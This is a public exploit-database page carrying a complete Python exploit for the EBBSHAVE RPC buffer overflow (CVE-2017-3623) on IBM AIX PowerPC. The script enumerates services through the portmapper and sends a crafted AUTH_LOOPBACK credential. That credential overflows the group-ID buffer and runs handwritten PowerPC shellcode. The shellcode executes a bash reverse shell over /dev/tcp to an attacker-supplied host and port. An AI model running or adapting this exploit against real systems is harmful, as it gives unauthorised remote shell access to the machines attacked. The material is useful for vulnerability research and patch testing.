EBBISLAND EBBSHAVE 6100-09-04-1441 – Remote Buffer Overflow

  • 作者: hantwister
    日期: 2020-01-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47888/
  • # Exploit Title: EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow
    # Date: 2018-09-19
    # Exploit Author: Harrison Neal
    # Vendor Homepage: https://www.ibm.com/us-en/
    # Version: 6100-09-04-1441, 7100-03-05-1524, 7100-04-00-0000, 7200-01-01-1642
    # Tested on: IBM AIX PPC
    # CVE: CVE-2017-3623
    # EBBISLAND / EBBSHAVE RPC Buffer Overflow for IBM AIX PPC
    
    
    #!/usr/bin/python
    # Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc
    
    # Exploit code example; shellcode requires /usr/bin/bash on the target
    
    # Example values for my AIX 7.2 LPAR:
    # gid_base: 3007d390
    # execl_func: d0307940
    # execl_toc: f081bc20
    
    # CAUTION: If a RPC service repeatedly crashes, it can be automatically disabled
    
    from os import urandom
    from socket import socket, AF_INET, SOCK_STREAM
    from struct import pack, unpack
    from sys import argv, exit
    from time import time, sleep
    
    def getCredLoopbackBody():
    	global gid_base, rhost, lhost, lport, gid_base, execl_func, execl_toc
    
    	epoch = pack('>I', time()) # Make sure the system clock is in sync w/ target
    
    	# Doesn't matter, ljust call assumes len <= 4
    	node_name = 'hn'
    	node_length = pack('>I', len(node_name))
    	node_name = node_name.ljust(4, '\x00')
    
    	# Also doesn't matter
    	uid = pack('>I', 0)
    	gid = pack('>I', 0)
    
    	# Big enough to trigger an overflow
    	# Not big enough to trigger defensive code
    	# You could make this a little bit less,
    	# but you'd have to tweak the part 2 code
    	gids_len = pack('>I', 64)
    
    	base_addr = pack('>I', gid_base)
    	addr_8c = pack('>I', gid_base + 0x8c)
    	addr_a8 = pack('>I', gid_base + 0xa8)
    	addr_4c = pack('>I', gid_base + 0x4c)
    
    	func_addr = pack('>I', execl_func)
    	toc_addr = pack('>I', execl_toc)
    
    	cmd = 'bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1'
    	cmd = cmd.ljust(0x30, '\x00')
    
    	# Each GID is 4 bytes long, we want 64
    	gids = (
    		# +0x0 # filepath
    		'/usr/bin/bash\x00\x00\x00'
    
    		# +0x10 # argv[0]
    		'bash\x00\x00\x00\x00'
    
    		# +0x18 # argv[1]
    		'-c\x00\x00'
    
    		# +0x1c # argv[2]
    	) + cmd + (
    
    		# +0x4c # r3 = filepath
    		'\x70\x63\x00\x00' # andi. r3, r3, 0x0
    		'\x3c\x60'
    	) + base_addr[0:2] + ( # lis r3, ...
    		'\x60\x63'
    	) + base_addr[2:4] + ( # ori r3, r3, ...
    
    		# +0x58 # r4 = argv[0]
    		'\x38\x83\x00\x10' # addi r4, r3, 0x10
    
    		# +0x5c # r5 = argv[1]
    		'\x38\xa4\x00\x08' # addi r5, r4, 0x8
    
    		# +0x60 # r6 = argv[2]
    		'\x38\xc5\x00\x04' # addi r6, r5, 0x4
    
    		# +0x64 # r7 = NULL
    		'\x70\xe7\x00\x00' # andi. r7, r7, 0x0
    
    		# +0x68 # r2 = libc.a TOC for execl
    		'\x70\x42\x00\x00' # andi. r2, r2, 0x0
    		'\x3c\x40'
    	) + toc_addr[0:2] + ( # lis r2, ...
    		'\x60\x42'
    	) + toc_addr[2:4] + ( # ori r2, r2, ...
    
    		# +0x74 # execl
    		'\x71\x08\x00\x00' # andi. r8, r8, 0x0
    		'\x3d\x00'
    	) + func_addr[0:2] + ( # lis r8, ...
    		'\x61\x08'
    	) + func_addr[2:4] + ( # ori r8, ...
    		'\x7d\x09\x03\xa6' # mtctr r8
    		'\x4e\x80\x04\x21' # bctrl
    
    		# +0x88 # 0x14 padding
    		'AAAAAAAAAAAAAAAAAAAA'
    
    		# +0x9c # Will be NULL
    		'ZZZZ'
    
    		# +0xa0
    		# @+948: r5 = +0x8c
    		# @+968: r5 = *(+0x8c + 0x18) = *(+0xa4)
    
    		# +0xa4
    		# @+968: r5 = +0xa8
    		# @+972: r0 = *(r5 + 0x0) = *(+0xa8)
    
    		# +0xa8
    		# @+972: r0 = +0x4c
    		# @+980: ctr = r0 = +0x4c
    		# @+988: branch to ctr
    	) + addr_8c + addr_a8 + addr_4c + (
    
    		# +0xac # padding
    		'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
    	)
    
    	print ":".join("{:02x}".format(ord(c)) for c in gids)
    	print len(gids)
    
    	return epoch + node_length + node_name + uid + gid + gids_len + gids
    
    def getCredLoopback():
    	cred_flavor = pack('>I', 0x55de) # AUTH_LOOPBACK
    
    	cred_body = getCredLoopbackBody()
    	cred_len = pack('>I', len(cred_body))
    
    	return cred_flavor + cred_len + cred_body
    
    def getAuthNone():
    	auth_flavor = pack('>I', 0) # AUTH_NONE
    
    	auth_len = pack('>I', 0)
    
    	return auth_flavor + auth_len
    
    def getMessage(prog_num, ver_num, proc_num, use_loopback_cred):
    	xid = urandom(4)
    
    	mtype = pack('>I', 0) # CALL
    
    	rpcvers = pack('>I', 2)
    
    	prog = pack('>I', prog_num)
    	vers = pack('>I', ver_num)
    
    	proc = pack('>I', proc_num)
    
    	cred = ( getCredLoopback() if use_loopback_cred else getAuthNone() )
    
    	verf = getAuthNone()
    
    	return xid + mtype + rpcvers + prog + vers + proc + cred + verf
    
    def getPacket(message):
    	# MSB on = this is the last fragment
    	# LSBs = fragment length
    	frag = pack('>I', len(message) + 0x80000000)
    
    	return frag + message
    
    if len(argv) < 7:
    	print 'Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc'
    	exit(1)
    
    rhost = argv[1]
    lhost = argv[2]
    lport = argv[3]
    gid_base = int(argv[4], 16)
    execl_func = int(argv[5], 16)
    execl_toc = int(argv[6], 16)
    
    # Query the portmapper for services
    
    services = []
    
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((rhost, 111)) # port 111 for portmapper
    s.send(getPacket(getMessage(
    	100000,	# portmapper
    	2,	# version 2
    	4,	# DUMP
    	False	# unauth request
    	)))
    
    s.recv(0x1c) # skip over fragment length, XID, message type, reply state, verifier, accept state
    
    while list(unpack('>I', s.recv(4)))[0]: # while next "value follows" field is true
    	prog_num, ver_num, proto_num, port = unpack('>IIII', s.recv(16))
    	if (prog_num == 100024 # status
    		and proto_num == 6): # TCP
    			print '[ ] Found service ' + str(prog_num) + ' v' + str(ver_num) + ' on TCP port ' + str(port)
    			services.append((prog_num, ver_num, port))
    
    s.close()
    
    # Try attacking
    
    for service in services:
    	prog_num, ver_num, port = service
    
    	serv_str = str(prog_num) + ' v' + str(ver_num)
    
    	for attack in [False, True]:
    		sleep(1) # be gentle
    
    		print '[ ] ' + ( 'Attacking' if attack else 'Pinging' ) + ' ' + serv_str
    
    		s = socket(AF_INET, SOCK_STREAM)
    		s.connect((rhost, port))
    
    		resp_len = 0
    
    		s.send(getPacket(getMessage(
    			prog_num,
    			ver_num,
    			0,	# NULL, acts like a ping
    			attack
    			)))
    
    		s.settimeout(5) # give inetd/... a chance to spin up the service if needed
    
    		try:
    			resp_len = len( s.recv(1024) ) # try to receive up to 1024 bytes
    		except:
    			resp_len = 0 # typically either timeout, connection error, or Ctrl+C
    
    		try:
    			s.close() # try closing the connection if it isn't already dead
    		except:
    			pass # connection is probably already dead
    
    		print '[ ] Got response length ' + str(resp_len)
    
    		if resp_len == 0: # suspect the service either timed out or crashed
    			if attack:
    				print '[+] Probably vulnerable to EBBSHAVE, hopefully you have a shell'
    			else:
    				print '[-] Service probably down or otherwise misbehaving, skipping...'
    				break